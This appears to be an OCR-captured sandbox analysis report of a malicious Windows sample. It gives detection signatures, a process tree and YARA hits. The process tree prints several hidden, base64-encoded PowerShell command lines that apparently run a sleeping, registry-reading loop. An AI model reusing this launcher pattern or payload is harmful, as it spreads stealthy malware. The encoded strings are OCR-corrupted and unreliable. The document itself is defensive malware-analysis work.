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Windows Analysis Report

Overview

General Information Detection Signatures Classification

Analysis ID: 651250
MALICIOUS Encrypted powershell cmdline option...
Infos: Q & .

Very long command line found
Suspicious powershell command lin...
Queries the volume information (nam...

Yara signature match

Contains functionality to call native ...

Very long cmdline option found, this...

May sleep (evasive loops) to hinder...

Creates a process in suspended mo...

Score: 52 . A
Contains long sleeps (>= 3 min)
Range: 0-100
o Enables debug privileges
Whitelisted: false
Confidence: 100%

Process Tree

= System is w7x64

cmd.exe (PID: 2372 cmdline: cmd /C “cmd.exe /c powershell -WindowStyle Hidden -E "CgAKAA0AJABOAGUAeABOAEEAcWBJADOAWWBTAHKAcWBOAGUADQAUAFQA
ZQB4AHQALgBFAG4AYWBVAGQAaQBUAGCAXQABADOAQQBTAEMASQBJADSACIJAKAAOAIABGAHAAPQAKAGAAdQBSAGWAOWAKAAOAZgB1AGAAYWBOAGKAbWBUACAA
ZwBIAHQAJABIAHIARgB1AG4AYWAOAFSAcWBOAHIAaQBUAGCAXQAKAGIAdABZADIAKQAgAHSACJAJACQAYgBOAHMAPQBbAFMAeQBZAHQAZQBIACAAQWBVAG4AA
dgBIAHIAJABAADOoAOgBGAHIAbWBAEIAY QBzZAGUANgAOAFMAJABYAGKAbgBNnACgAJABIAHQACWAYACKAOWAKAAOACQAKAHMAJAASACQAJABIAHGAJABBAHMA
YWAUAECAZQBOAEIAeQBOAGUACWAOACCARWBIAHQALQBIAHQAZQBtAFAACgBVAHAAZQBYAHQAeQBWAGEABABIAGUAIWAPADSACYAJACQAZQBKADOAJABIAHQA
cwBbADAALgAUADQAXQA7AACACJAIJACQAaQAIADAAOWAKAAKAJABSADOAIABIAGQALGBMAGUAbgBNAHQAaAA7AA0ACQAKAGSAPQBAACIAKQA7AAOACYAJAFSA
YQBYAHIAYQB5AFOAOGABAFIAZQBzAGKAegBIACgAWWBYAGUAZgBAACQAawASACQACWBOAC4ADABIAGAAZWBOAGIAKQA7AAOACQBMAGBACYBIAGEAYWBOACGA
JABIACAAaQBUACAAIABZAHQAKQAYGAHSAJABrAFSAJABpACSAKWBAADOAJABIACAALQBIAHgAbwBYACAAJABIAGQAWWAKAGKAJQAKAGWAXQBIAAOACIAJACQA
YgBzADOAJABIAHQACWBbADUALJAUACQAYgBOAHMALgBSAGUAbgBNAHQAaABAADSACgAKAAKAJABPpADOAMAA7AACACQAKAGWAPQAKAGSALgBMAGUAbgBNAHQA
aAA7AAOACQAKAGQAJAAIAEAAKAAPADSACGAKAAKAWWBHhAHIAcgBhAHKAXQABADOAUGBIAHMAaQBEAGUAKABLAHIAZQBMAFOAJABKAHQALAAKAGIACWAUAGWA
ZQBUAGCAdABOACKAOWAKAAKAZgBVAHIAZQBhAGMAaAACACQAYJAgAGKAbgAgACQAYgBzACKAIAB7ACQAZABOAFSAJABPACSAKWBAADOAJABIACAALQBIAHgA
bwByACAAJABIrAFSAJABpPACUAJABSAFOAfQAKAAOACQBYAGUAdAB1AHIAbgAgACQAJABIAHgGAdABBAHMAYWAUAECAZQBOAFMAJABYAGKAbgBNACgAJABKAHQA
KQAgAHWAIABDAG8AbgB2AGUACgBOAEYAcgBVAGOALQBKAHMAbwBUADSACgBIAACACIAKACQAAgAgADOAIAAIADAAIgGA7AA0AJABSAHYAIAASACAAIGA4ACIA
OWAKACQAZAAGADOAIAAIAGOACABSAGBAeQBIAGUAcWBpAGgAaQBNAGgALgB4AHKAegAIADSACgJAKAGUACAAGADOAIAAIAFCAeQBIJADQATQBEAEKAegBNAHOA
VQAZAEBARABZADMATQBUAEEAegBPAFQAZWB4AEOARABVAGKATABEAEUAMgBOAEQAawAZAE4ARABJADMATQBUAFIAZAAIADSACJAKACQAZWBWAE4AY QBtAGUA
IAA9ACAAIgBIAESAQWBVADOAXABTAGBAZgBOAHCAY QBYAGUAXABCAGKAbgBhAHIAeQBGAG8ACgBOAHIAZQBzZAHMAUWBVAGYAdAB3AGEACgBIAFWAIGA7AACA
CgBOAHIAeQAgAHSACgAJACQAagBwWADOAJABOAGUAeABOAEEACWBJAC4ARWBIAHQAUWBOAHIAaQBUAGCAKABbAFMAeQBZzAHQAZQBIAC4AQWBVAG4AdgBIAHIA
dABdADOAOgBGAHIAbwBLAEIAY QBzAGUANgAOAFMAdABYAGKAbgBNACgAJABIAHAAKQAPACAATAAGAEMAbWBUAHYAZQBYAHQARGBYAG8ADQAIAEOACWBVAGAA
OwAKAHOAIABJAGEAJABJAGgAewB9AAOACIAKAGOAZAAGADOAIAAKAGAAdQBSAGWAOWAKAAOACYAKAGEAIAAIACAAIABOAGUAeABOAEEACWBJADSACJAKACQA
cgBrAGUAeQBOACAAPQAgACIARABPAHMACABSAGEAeQAJAEYAdQBzAGKAbwBUACIAOWAKACQAAQAIACQAagBWAFSAMABAADSACYAKAGKACWAIACQAagBWAFSA
MQBAADsSACgAKAHCAaABpAGWAZQAOACQAJABYAHUAZQAPACAAeWwAKAAKAJABYAHKAIAB7AAOACQAJAHQACYB5SACAAeWAKAAKACQAJAGKAZGAGACIAIQACAFQA
ZQBzAHQALQBQAGEAdABOACAAJABNAHAATGBhAGOAZQAPACKAIAB7AA0ACQAJAAKACQBOAGUAIWAIAEKAJABIAGOAIAAIAFAAY QBOAGOAIAAKAGCACABOAGEA
bQBIACAATAAGAESAdQBOACOATYB1IAGWADAA7TAAOACQAIAAKAIQAKAAKACQBIAGMAYQBOAGMAaAB7AHOACJAKAAKACQAKAGUAeAAgADOAIAAKAGYAYQBSAHMA
ZQA7AAOACgAIJAAKAaQBMACAAKAAKAGOAZAAGACOAZQBXACAAIJABUAHUADBABSACKAIAB7AAOACQAJAAKAJABYAHKAIAB7AAOACQAJAAKACQAKAHIAIAASACAA
RwBIAHQALQBJAHQAZQBtAFAAcCgBVAHAAZQBYAHQAeQBWAGEAbDABLIAGUAIAAIAFAAY QBOAGYAIAAKAGCACABOAGEADQBIACAALQBOAGEADQBIACAAJABYAGSA
ZQB5AE4AOWAKAAKACQAJAAKAIJABGAGQAIAA9ACAAZWBIAHQAJABIAHIARgB1IAGAAYWAOACQACGAPADSACgAKAAKACQAIJAAKAIJAB2ACAAPQAgACQAagBKAFSA
MABAADsACgAKAAKACQAJAAKAJABIAHGAIAA9ACAAIABOAHIAAQBIADSACgAIJAAKACQBIAGMAYQBOAGMAaAB7AHOACIAIAAKATQAGAGUADABZAGUAIAB7AACA
CQAJAAKAJAB2ACAAPQAgACQAagBKAFSAMABAADSACgAJAAKATQAKAAOACQAJAHQACYBSACAAeWAKAAKACQAJACQAZABOACAAPQAGAHCAZWBIAHQAIAAIAGGA
dABOAHAACWABACBALWAKAGQALWB4ADBAdQAIACQAAQAMAGKACWAIACQAaQBzACYAbAB2ADOAJABSAHYAJgBYAHYAPQAKAHYAIgAgGACOAVQBzAGUAQgBhAHMA
aQBjJAFAAYQBYAHMAaQBUAGCAOWAKAAOACQAJAAKAIJABJAGQAMgAgADOAIABNAGUAJABOAGUACgBGAHUAbgBJACgAJABKAHQAKQA7AACACQAJAAKAaQBMACAA
KAAKAGOAZAAYAFSAMABJACAALQBNAHQAIAAKAHYAKQAGAHSACIAJAAKACQAJACQAdgAYACAAPQAJACQAagBKADIAWWAWAFOAOWAKAACACQAIAAKACQBOAGUA
dWAtAEKAJABIAGOAUABYAGSACABIAHIAJABSACAALQBQAGEAJABOACAAJABNAHAATGBhAGOAZQAGACOATGBhAGOAZQAJACQACYBIAGUAeQBOACAALQBWAGEA
bABLAGUAIAAKAGQAJAAGACOAUABYAGBACABIAHIAJAB5AFQAeQBWAGUAIAAIAFMAdABYAGKAbgBNACIAIAATAEY AbwByAGMAZQAgAHWAIABPAHUAJAAIAE4A
dQBSAGWAOWAKAAKACQAJAAKAJABIAGQAIAAIACAAIABGAGQAMgA7AAOACAIAAKACQAKAGUAeAAGADOAIAAKAHQACIBIAGUAOWAKAAKACQAJAHOACYAIAAKAS
QBJAGEAJABJAGgAewBIAAOACIAIAAKAAQBMACAAKAAKAGUAeAAGACOAZQBXACAAIABOAHIAIQBIACKAIAB7AA0ACQAJAAKAJABYAHKAeWAKAAKACQAJAAKAC
WBOAG8ACAA7AAOACQAJAAKAFQBJAGEAIABIAGgAeWBIAACOACIAIAAKACQBOAHIAeQAJAHSACIAJAAKACQAJAGKAZQBAACAAIABIAGQAWWAXAFOAOWAKAAKAC
QAJAHOAYWBhAHQAYWB0AHSAfQAKAAKACQBIAAOAC QBIACAAYWBhAHQAYWBOAHSAFQAKAACOACQBOAHIAe QAgAHSACAJAAKAIABZAGWACWAGADOAIAAOACYAZ
WBIAHQALQBYAGEAbgBKAG8AbQAgADCAMAAJACOABQBPAGAAaQBIAHUAbQAGADUAMAAPACOANJAWACKAOWAKAAKACQAKAHQACWAGADOAIABbAGKAbgBOAFOAK
ABHAGUAJAAtAEQAYQBOAGUAIAAtAFUARgBVAHIADQBhAHQAIAAIAHMAKQA7AA0ACIAIAAKAOYGBZAGWAIAB3AGIAaQBSAGUAKAAKAHQACYB1AGUAKQAGAHSAC
gAJAAKACQBOAHIAeQB7AA0ACQAJAAKACQBYAHUAbgAOACQAZAASACQAdQASACQAaQBZACKAOWAKAAKACQAJAHOAYWBhAHQAYWBOAHSAFQAKAAOACQAJAAKAU
WBOAGEACgBOACOAUWBSAGUAZQBWACAAKABNAGUAJAALAHIAY QBUAGQAbWBLACAANGAIACAALQBIAGKAbgBpAGOAdQBIACAAMgA1ACKAOWAKAAKACQAJACQA
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ABzADIAIAAIACAAWWBPAGAAJABAACJARWBIAHQALQBEAGEAJABIACAALQBVAEYAbwBYAGOAY QBOACAAIQBzACKAOWAKAACACQAIAAKAAQBMACAAKAAOACQA
ABzADIALQAKAHQACWAPACAALQBNAHQAIAAKAHMADABZzACKAIAB7AA0ACQAJAAKACQBIAHIAZQBhAGSAIABZAGWAOWAKAAKACQAJAHOACIAJAAKATQAKAAKAF
QAgAGMAYQBOAGMAaAB7AHOACYBIAA==""MD5: AD7B9C14083B52BC532FBA5948342B98)

. cmd.exe (PID: 1436 cmdline: cmd.exe /c powershell -WindowStyle Hidden -E "CgAK AA0AJABOAGUAeABOAEEACWBJADOAWWBTAHKACWBOAGUAbQAUAFQAZQB4AHQA
LgBFAG4AYWBVAGQAaQBUAGCAXQABADOAQQBTAEMASQBJIADSACJAKAACAIJABGAHAAPQAKAGAAdQBSAGWAOWAKAAOAZGB1IAGAAYWBOAGKADWBUACAAZWBIAHQA
dABIAHIARgB1AG4AYWAOAFSACWBOAHIAaQBUAGCAXQAKAGIAJABZADIAKQAGAHSACJAJACQAYgBOAHMAPQBbAFMAeQBzAHQAZQBIACAAQWBVAGAAdgBIAHIA
dABdADOAOgBGAHIAbWBLAEIAY QBzAGUANGAOAFMAdABYAGKAbgBNACgAJABIAHQACWAYACKAOWAKAAOACQAKAHMAJAAIACQAJABIAHGAdABBAHMAYWAUAECA
ZQBOAEIAeQBOAGUACWAOACCARWBIAHQALQBJAHQAZQBtAFAACYBVAHAAZQBYAHQAeQBWAGEADABLIAGUAJIWAPADSACgAJACQAZQBKADOAJABIAHQACWBDADAA
LgAUADQAXQA7AA0ACJAJACQAaQA9ADAAOWAKAAKAJABSADOAJABIAGQALGBMAGUAbgBNAHQAaAA7AACACQAKAGSAPQBAACYAKQA7AAOACYAIAFSAYQBYAHIA
YQB5AFOAOgABAFIAZQBzAGKAegBIACgAWWBYAGUAZgBAACQAaWASACQACWBOACAAbABIAGAAZWBOAGYAKQA7AAOACQBMAGBACYBIAGEAYWBOACJAJABIACAA
aQBUACAAJABZAHQAKQAgAHSAJABIAFSAJABPACSAKWBAADOAJABIACAALQBIAHgAbwWBYACAAJABIAGQAWWAKAGKAJQAKAGWAXQBIAAOACJAJACQAYgBzADOA
JABIAHQACWBbADUALgAUACQAYgBOAHMALYBSAGUAbgBNAHQAaABAADSACJAKAAKAIABPADOAMAA7AACACQAKAGWAPQAKAGSALGBMAGUAbgBNAHQAaAA7AACA
CQAKAGQAJAAIAEAAKAAPADSACgAKAAKAWWBhAHIAcgBhAHKAXQABADOAUYBIAHMAaQBBAGUAKABDAHIAZQBMAFOAJABKAHQALAAKAGIACWAUAGWAZQBUAGCA
dABoACKAOWAKAAKAZGBVAHIAZQBhAGMAaAACACQAYJAJAGKAbgAgACQAY gBzACKAIAB7ACQAZABOAFSAJABPACSAKWBAADOAJABIACAALQBIAHgAbWBYACAA
JABrAFsAJABpACUAJABSAFOAfQAKAACACQBYAGUAdAB1AHIAbgAgACQAdABIAHgAdABBAHMAYWAUAECAZQBOAFMAJABYAGKAbgBNACYAJABKAHQAKQAGAHWA
IABDAG8AbgB2AGUACYBOAEYACYBVAGOALQBKAHMAbWBUADSACYBIAAOACYAKACQAIgAgADOAIAAIADAAIGATAAOAIJABSAHYAIAAIACAAIGAAACIAOWAKACQA
ZAAgADOAIAAIAGOACABSAGBAeQBIAGUACWBPAGgAaQBNAGgALgB4AHKAegAIADSACGAKAGUACAAGADOAIAAIAFCAeQBIADQATQBEAEKAegBNAHOAVQAZAESA
RABZADMATQBUAEEAegBPAFQAZWB4AEOARABVAGKATABEAEUAMgBOAEQAawAZAE4ARABJADMATQBUAFIAZAAIADSACJAKACQAZWBWAE4AY QBtAGUAIAASACAA
1gBIAESAQWBVADOAXABTAG8AZgBOAHCAY QBYAGUAXABCAGKAbgBhAHIAeQBGAGBACYBOAHIAZQBZAHMAUWBVAGYAdAB3AGEACYBIAFWAIgA7TAAOACYBOAHIA
eQAgAHSACgAJACQAagBWADOAJABOAGUAeABOAEEACWBJAC4ARWBIAHQAUWBOAHIAaQBUAGCAKABDAFMAeQBZAHQAZQBIAC4AQWBVAG4AdgBIAHIAJABJADOA
OgBGAHIAbWBAEIAY QBzAGUANGAOAFMAdABYAGKAbgBNACYAJABIAHAAKQAPACAATAAGAEMAbWBUAHYAZQBYAHQARgBYAG8ADQAtAEOACWBVAGAAOWAKAHOA
IABJAGEAdABJAGgAewB9AAOACYAKAGOAZAAGADOAIAAKAGAAdQBSAGWAOWAKAAOACYAKAGEAIAAIACAAIABOAGUAEABOAEEACWBJADSACJAKACQACIBIAGUA
eQBOACAAPQAGACIARABPAHMACABSAGEAeQAJAEYAdQBzAGKAbWBUACIAOWAKACQAdQA9ACQAagBWAFSAMABIADSACYAKAGKACWAIACQAagBWAFSAMQBAADSA
CgAKAHCAaABpAGWAZQAOACQAJABYAHUAZQAPACAAeWAKAAKAdABYAHKAIAB7AAOACQAJAHQACYBSACAAeWAKAAKACQAJAGKAZGAGACIAIQAOAFQAZQBZAHQA
LQBQAGEAJABOACAAJABNAHAATYBhAGOAZQAPACKAIAB7AACACQAJAAKACQBOAGUAJWALIAEKAJABIAGOAIAAtAFAAY QBOAGUAIAAKAGCACABOAGEADQBIACAA
fAAgAEBAdQBOACOATgB1IAGWADAA7TAAOACQAJAAKAIQAKAAKACQBIAGMAY QBOAGMAaAB7AHOACYAKAAKACQAKAGUAeAAGADOAIAAKAGYAY QBSAHMAZQA7AAOA
CgAJAAKAaQBMACAAKAAKAGOAZAAGACOAZQBXACAAIJABUAHUADABSACKAIAB7AAOACQAJAAKAJABYAHKAIAB7AAOACQAJAAKACQAKAHIAIAA9ACAARWBIAHQA
LQBJAHQAZQBtAFAACYBVAHAAZQBYAHQAeQBWAGEAbABIAGUAIAAtAFAAY QBOAGYAIAAKAGCACABOAGEADQBIACAALQBOAGEADQBIACAAIJABYAGSAZQBSAE4A
OWAKAAKACQAJAAKAJABJAGQAIAA9ACAAZWBIAHQAJABIAHIARGB1AGAAYWAOACQACIAPADSACJAKAAKACQAJAAKAIAB2ACAAPQAJACQAagBKAFSAMABAADSA
CgAKAAKACQAJAAKAJABIAHGAIAA9ACAAIABOAHIAIQBIADSACgAJAAKACQBIAGMAYQBOAGMAaAB7AHOACYAIAAKATQAGAGUADABZAGUAIAB7AACACQAJAAKA
JAB2ACAAPQAgACQAagBkAFSAMABAADSACGAJAAKAFQAKAAOACQAJAHQACGBSACAAeWAKAAKACQAJACQAZABOACAAPQAGAHCAZWBIAHQAIAAIAGJAdABOAHAA
cWABACBALWAKAGQALWB4ADBAdQAIACQAIQAMAGKACWAIACQAaQBZzACYAbAB2ADOAJABSAHYAJgBYAHYAPQAKAHYAIgAgACOAVQBzAGUAQYBhAHMAAQBJAFAA
YQBYAHMAaQBUAGCAOWAKAACACQAJAAKAJABGAGQAMYAGADOAIABNAGUAJABOAGUACgBGAHUADgBJACGAJABKAHQAKQA7AAOACQAJAAKAaQBMACAAKAAKAGOA
ZAAYAFSAMABAACAALQBNAHQAIAAKAHYAKQAGAHSACIAJAAKACQAJACQAdgAYACAAPQAJACQAagBKADIAWWAWAFOAOWAKAACACQAJAAKACQBOAGUAIWALAEKA
dABIAGOAUABYAGBACABIAHIAJABSACAALQBQAGEAJABOACAAJABNAHAATYBhAGOAZQAGACOATYBhAGOAZQAJACQACYBrAGUAeQBOACAALQBWAGEADBABIAGUA
IAAKAGQAJAAGACOAUABYAGBACABIAHIAJABSAFQAeQBWAGUAIAAIAFMAJABYAGKAbgBNACIAIAAtAEY AbwBYAGMAZ QAgAHWAIABP AHUAJAALAE4AdQBSAGWA
OWAKAAKACQAJAAKAJABJAGQAIAA9ACAAIJABJAGQAMYA7AAOACAIAAKACQAKAGUAeAAGADOAIAAKAHQACYIBLAGUAOWAKAAKACQAJAHOACYAJAAKATQBJAGEAd
ABJAGgAewB9AAOACJIAIAAKAaQBMACAAKAAKAGUAeAAGACOAZQBXACAAJABOAHIAAQBIACKAIAB7AAOACQAJAAKAIABYAHKAeWAKAAKACQAJAAKACWBOAGBAC
AATAAOACQAJAAKAFQBJAGEAdABJAGgAewBIAAOACIAJAAKACQBOAHIAeQAGAHSACIAIJAAKACQAIJAGKAZQBAACAAIABIJAGQAWWAXAFOAOWAKAAKACQAJAHOAY
WBhAHQAYWB0AHSAfQAKAAKACQBIAACACQBIACAAYWBhAHQAYWBOAHSAIQAKAACACQBOAHIAeQAJAHSACIAIJAAKAIABZAGWACWAGADOAIAAOACYAZWBIAHQAL
QBYAGEAbgBKAG8AbQAGADCAMAAJACOABQBPAG4AaQBIAHUABQAJADUAMAAPACOANgAWACKAOWAKAAKACQAKAHQACWAJADOAIABbAGKAbgBOAFOAKABHAGUA
AAAEQAYQBOAGUAIAAtAFUARGBVAHIADQBhAHQAIAAIAHMAKQA7AA0ACJAJAAKAOGBZAGWAIAB3AGIAaQBSAGUAKAAKAHQACYBIAGUAKQAgAHSACYAJAAKAC
QBOAHIAeQB7AA0ACQAJAAKACQBYAHUADBgAOACQAZAASACQAIQASACQAaQBZACKAOWAKAAKACQAJAHOAYWBhAHQAYWBOAHSAFQAKAAOACQAJAAKAUWBOAGEAC
gBOACOAUWBSAGUAZQBWACAAKABNAGUAdAALAHIAY QBUAGQAbWBtACAANGALIACAALQBIAGKAbgBpAGOAdQBIACAAMgALIACKAOWAKAAKACQAJACQAJABZADIAI
AAIACAAWWBPAGAAJABJACJARWBIAHQALQBEAGEAJABIACAALQBVAEYAbwBYAGOAY QBOACAAIQBzACKAOWAKAAOACQAIJAAKAaQBMACAAKAACACQAdABZADIAL
QAKAHQACWAPACAALQBNAHQAIAAKAHMAbABZACKAIAB7AA0ACQAJAAKACQBIAHIAZQBhAGSAIABZAGWAOWAKAAKACQAJAHOACGAJAAKATQAKAAKATQAGAGMAY
QBOAGMAaAB7AHOACgB9AA=="MD5: AD7B9C14083B52BC532FBA5948342B98)

e 3 powershell.exe (PID: 1168 cmdline: powershell -WindowStyle Hidden -E "CgAK AA0AJABOAGUAeABOAEEACWBjADOAWWBTAHKACWBOAGUADQAUAFQAZQB4AHQA
LgBFAG4AYWBVAGQAaQBUAGCAXQABADOAQQBTAEMASQBJIADSACYAKAACAIABGAHAAPQAKAGAAdQBSAGWAOWAKAACAZGB1IAGAAYWBOAGKAbWBUAC
AAZWBIAHQAJABIAHIARgB1AG4AYWAOAFSACWBOAHIAaQBUAGCAXQAKAGIAJABZADIAKQAgAHSACJAJACQAYgBOAHMAPQBbAFMAeQBzAHQAZQBIACAAQWBVAG
4AdgBIAHIAdABAADOAOgBGAHIAbWBLAEIAY QBZAGUANgAOAFMAJABYAGKAbgBNACgAJABIAHQACWAYACKAOWAKAACACQAKAHMAJAAIACQAJABIAHGAdABBAH
MAYWAUAECAZQBOAEIAeQBOAGUACWAOACCARWBIAHQALQBJIAHQAZQBIAFAACgBVAHAAZQBYAHQAeQBWAGEAbBABIAGUAIJWAPADSACJAJACQAZQBK
ADOAJABIAHQACWBbADAALGAUADQAXQA7AA0ACIAJACQAaQAIADAAOWAKAAKAIABSADOAJABIAGQALGBMAGUAbgBNAHQAaAA7TAACACQAKAGSAPQ
BAACgAKQA7AA0ACgAJAFsAYQBYAHIAYQB5AFOAOGAGAFIAZQBzAGKAegBIACgAWWBYAGUAZgBAACQAawAsACQACWBOACAADABIAGAAZWBOAGIAKQA7AAOACQ
BmAGB8ACgBIAGEAYWBOACgAJABIACAAaQBUACAAIJABZAHQAKQAGAHSAJABIAFSAJABpACsSAKWBAADOAJABIACAALQBIAHgAbwBYACAAJABIAGQAWWAKAGKAJIQ
AKAGWAXQBIAAOACGAJACQAYgBzADOAJABIAHQACWBBADUALGAUACQAYgBOAHMALgBSAGUAbgBNnAHQAaABdADSACgAKAAKAIJABPADOAMAAT7AACA
CQAKAGWAPQAKAGSALgBMAGUAbgBNAHQAaAA7AA0ACQAKAGQAJAAIAEAAKAAPADSACIAKAAKAWWBHhAHIACgBhAHKAXQABADOAUYBIAHMAaQB6AG
UAKABDBAHIAZQBMAFOAJABKAHQALAAKAGIACWAUAGWAZQBUAGCAdABOACKAOWAKAAKAZgBVAHIAZQBhAGMAaAACACQAYJAgAGKAbgAgACQAYgBzACKAIAB7AC
QAZABOAFSAJABpPACSAKWBAADOAJABIACAALQBIAHgAbwBYACAAJABrAFsAJABpACUAJABSAFOATQAKAACACQBYAGUAdABLAHIAbgAgACQAJABIAHGAJABBAH
MAYWAUAECAZQBOAFMAJABYAGkAbgBNACgAJABKAHQAKQAGAHWAIABDAGB8AbgB2AGUACYBOAEYAcgBVAGOALQBKAHMAbwBUADSACYBIAAOACGAKACQAdgAgAD
OAIAAIADAAIgGA7AACAIJABSAHYAIAA9ACAAIgGA4ACIAOWAKACQAZAAGADOAIAAIAGOACABSAGBAeQBIAGUACWBPAGgAaQBNAGgALgB4AHKAegAIADSACYAKAG
UACAAgADOAIAAIAFcAeQBIJADQATQBEAEKAegBNAHOAVQAZAEBARABZADMATQBUAEEAegBPAFQAZWB4AEOARABVAGKATABEAEUAMgBOAEQAawAZ
AE4ARABJADMATQBUAFIAZAAIADSACgAKACQAZWBWAE4AY QBtAGUAIAA9ACAAIGBIAESAQWBVADOAXABTAGBAZgBOAHCAYQBYAGUAXABCAGKAbgBhAHIAeQBG
AG8ACcgBOAHIAZQBzAHMAUWBVAGYAJAB3AGEACcgBIAFWAIgA7AA0ACYBOAHIAeQAgAHSACYAJACQAagBWADOAJABOAG UAeABOAEEACWBJAC4ARWBIAHQAUWBO
AHIAaQBUAGCAKABbAFMAeQBzAHQAZQBtAC4AQWBVAG4AdgBIAHIAJABAADOAOgBGAHIAbWBAEIAY QBzZAGUANgAOAFMAJABYAGKAbgBNACgAJABIAHAAKQAP
ACAAfAAgAEMAbwWBUAHYAZQBYAHQARgBYAGBAbQAIAEOACWBVAGAAOWAKAHOAIABJAGEAdABJAGgAewBIAAOACYAKAGOAZAAGADOAIAAKAGAAdQBSAGWAOWAK
AAOACgAKAGEAIAAIACAAIABOAGUAeABOAEEACWB]ADSACJAKACQACBIAGUAeQBOACAAPQAGACIARABPAHMACABSAGEAeQAgAEYAdQBzAGKAbWBUACIAOWAK
ACQAJQA9ACQAagBWAFSAMABJADSACgAKAGKACWAIACQAagBWAFSAMQBAADSACgAKAHCAaABpAGWAZQAOACQAJABYAHUAZQAPACAAeWAKAAKAdA
ByAHKAIAB7AA0ACQAJAHQACGB5ACAAeWAKAAKACQAJAGKAZIAGACIAIQAOAFQAZQBZAHQALQBQAGEAJABOACAAJABNAHAATYBhAGOAZQAPACKAIAB7AACACQ
AJAAKACQBOAGUAJWAIAEKAJABIAGOAIAAtAFAAY QBOAGYAIAAKAGCACABOAGEADQBIACAATAAGAEBAdQBOACOATYBLAGWADBAA7AACACQAIAAKATQAKAAKACQ
B9AGMAYQBOAGMAaAB7AHOACgAKAAKACQAKAGUAeAAgADOAIAAKAGYAY QBSAHMAZQA7AACACIAIJAAKAaQBMACAAKAAKAGOAZAAGACOAZQBXACAA
JABUAHUAbABSACKAIAB7AA0ACQAJAAKAJABYAHKAIAB7AACACQAJAAKACQAKAHIAIAA9ACAARWBIAHQALQBJAHQAZQBIAFAACYBVAHAAZQBYAHQAeQBWAGEA
bAB1AGUAIAAtAFAAY QBOAGIAIAAKAGCACABOAGEADQBIACAALQBOAGEADQBIACAAIABYAGSAZQB5SAE4AOWAKAAKACQAJAAKAIABIJAGQAIAA9ACAAZWBIAHQA
dABIAHIARgB1AG4AYWAOACQACYAPADSACYAKAAKACQAIAAKAJAB2ACAAPQAJACQAagBKAFSAMABAADSACJAKAAKACQAJAAKAIABIAHGAIAA9ACAAJABOAHIA
dQBIADSACgAJAAKACQBIAGMAY QBOAGMAaAB7AHOACYAIAAKATQAGAGUADABZAGUAIAB7AACACQAJAAKAIAB2ACAAPQAJACQAagBKAFSAMABAADSACIAJAAKA
fQAKAAOACQAJAHQACGB5ACAAeWAKAAKACQAJACQAZABOACAAPQAJAHCAZWBIAHQAIAAIAGGAdABOAHAACWABACBALWAKAGQALWBAADBAQASAC
QAJQAMAGKACWAIACQAaQBzACYAbAB2ADOAJABSAHYAJgBYAHYAPQAKAHYAIgAgACOAVQBzAGUAQgBhAHMAaQBJAFAAY QBYyAHMAaQBUAGCAOWAK
AAOACQAJAAKAJABJAGQAMYAGADOAIABNAGUAJABOAGUACYgBGAHUAbgBJACGAJABKAHQAKQA7AAOACQAJAAKAAQBMACAAKAAKAGOAZAAYAFSAMA
BAACAALQBNAHQAIAAKAHYAKQAgAHSACgAJAAKACQAJACQAdgAYACAAPQAGACQAagBKADIAWWAWAFOAOWAKAACOACQAJAAKACQBOAGUAIWALAEKA
dABIAGOAUABYAGBACABIAHIAJABSACAALQBQAGEAJABOACAAJABNAHAATYBhAGOAZQAGACOATgBhAGOAZQAGACQACYBrAGUAeQBOACAALQBWAG
EAbAB1AGUAIAAKAGQAJAAGACOAUABYAGBACABIAHIAdABSAFQAeQBWAGUAIAAIAFMAJABYAGKAbgBNACIAIAAtAEY AbwBYAGMAZ QAgAHWAIABP AHUAJAAIAE
4AdQBsSAGWAOWAKAAKACQAJAAKAIJABGAGQAIAAIACAAIABIAGQAMIA7AAOACAIJAAKACQAKAGUAEAAgADOAIAAKAHQACGBIAGUAOWAKAAKACQAJA
HOACgAJAAKATQBJAGEAJABJAGgAewBIAAOACJIAJAAKAaQBMACAAKAAKAGUAeAAGACOAZQBXACAAIJABOAHIAIQBIACKAIAB7AAOACQAJAAKADABYAHKAeWAKA
AKACQAJAAKACWBOAGBACAA7TAAOACQAJAAKATQBJAGEAdABJAGgAeWwBIAAOACJIAJAAKACQBOAHIAeQAgAHSACIAIAAKACQAIAGKAZQBAACAAIABJAGQAWWAXA
FOAOWAKAAKACQAJAHOAYWBhAHQAYWBOAHSAfQAKAAKACQBIAAOACQBIACAAYWBhAHQAYWBOAHSAFQAKAAOACQBOAHIAeQAgAHSACYAJAAKAIAB
zZAGWACWAgADOAIAAOACYAZWBIAHQALQBYAGEAbgBKAGBADQAJADCAMAAGACOAbQBPAGAAaQBtAHUABQAgADUAMAAPACOANGAWACKAOWAKAAKAC
QAKAHQACWAgADOAIABbAGKAbgBOAFOAKABHAGUAJAAIAEQAY QBOAGUAIAAAFUARgBVAHIADQBhAHQAIAAIAHMAKQA7AA0ACJAJAAKAOGBZAGWAIAB3AGgAa
QBsAGUAKAAKAHQACYB1AGUAKQAgAHSACYAJAAKACQBOAHIAeQB7AA0ACQAJAAKACQBYAHUAbgAOACQAZAASACQAIQASACQAaQBzACKAOWAKAAK
ACQAJAHOAYWBhAHQAYWBOAHSAFQAKAACACQAJAAKAUWBOAGEACgBOACOAUWBSAGUAZQBWACAAKABNAGUAJAAAHIAY QBUAGQAbWBIACAANGALA
CAALQBtAGKAbgBpAGOAdQBtACAAMgA1ACKAOWAKAAKACQAJACQAAABZADIAIAA9ACAAWWBPAGAAdABJACJARWBIAHQALQBEAGEAJABIACAALQBVAEYAbwBYA
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GOAYQBOACAAIQBzACKAOWAKAAOACQAJAAKAaQBMACAAKAAOACQAJABZADIALQAKAHQACWAPACAALQBNAHQAIAAKAHMADABZACKAIAB7AA0ACQA
JAAKACQBIAHIAZQBhAGSAIABZAGWAOWAKAAKACQAJAHOACGAJAAKAIQAKAAKAIQAGAGMAYQBOAGMAaAB7AHOACGBIAA==" MD5:

92F44E405DB16AC55D97E3BFE3B132FA)
= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

Memory Dumps

Source

00000003.00000002.888389730.0000000001F80000.00000
004.00000020.00020000.00000000.sdmp

00000003.00000002.888152756.0000000000390000.00000
004.00000020.00020000.00000000.sdmp

00000003.00000002.888245760.00000000005EB000.00000

004.00000020.00020000.00000000.sdmp

00000003.00000002.888181676.00000000003E0000.00000

004.00000020.00020000.00000000.sdmp

00000003.00000002.888226541.00000000005C0000.00000

004.00000020.00020000.00000000.sdmp
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Rule

SUSP_PS1_JAB_
Pattern_Jun22_1

SUSP_PS1_JAB_
Pattern_Jun22_1

SUSP_PS1_JAB_
Pattern_Jun22_1

SUSP_PS1_JAB_
Pattern_Jun22_1

SUSP_PS1_JAB_
Pattern_Jun22_1

Description

Detects suspicious
UTF16 and
